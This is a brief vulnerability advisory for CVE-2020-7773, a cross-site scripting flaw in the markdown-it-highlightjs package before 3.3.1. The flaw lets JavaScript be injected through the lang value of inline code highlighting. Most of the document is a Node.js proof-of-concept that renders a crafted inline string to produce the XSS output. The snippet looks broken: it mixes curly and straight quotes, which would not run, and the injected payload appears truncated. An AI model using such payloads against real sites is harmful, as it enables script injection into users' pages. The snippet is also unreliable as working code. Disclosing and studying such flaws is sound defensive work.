CVE-2020-7773
This affects the package markdown-it-highlightjs before 3.3.1.
It is possible insert malicious JavaScript as a value of lang in the markdown-it-highlightjs Inline code highlighting feature.
const markdownItHighlightjs = require("markdown-it-highlightjs");
const md = require(‘markdown-it’);
const reuslt_xss = md()
.use(markdownItHighlightjs, { inline: true })
.render(‘console.log(42){.">js}’);
console.log(reuslt_xss);
Source: CVE-2020-7773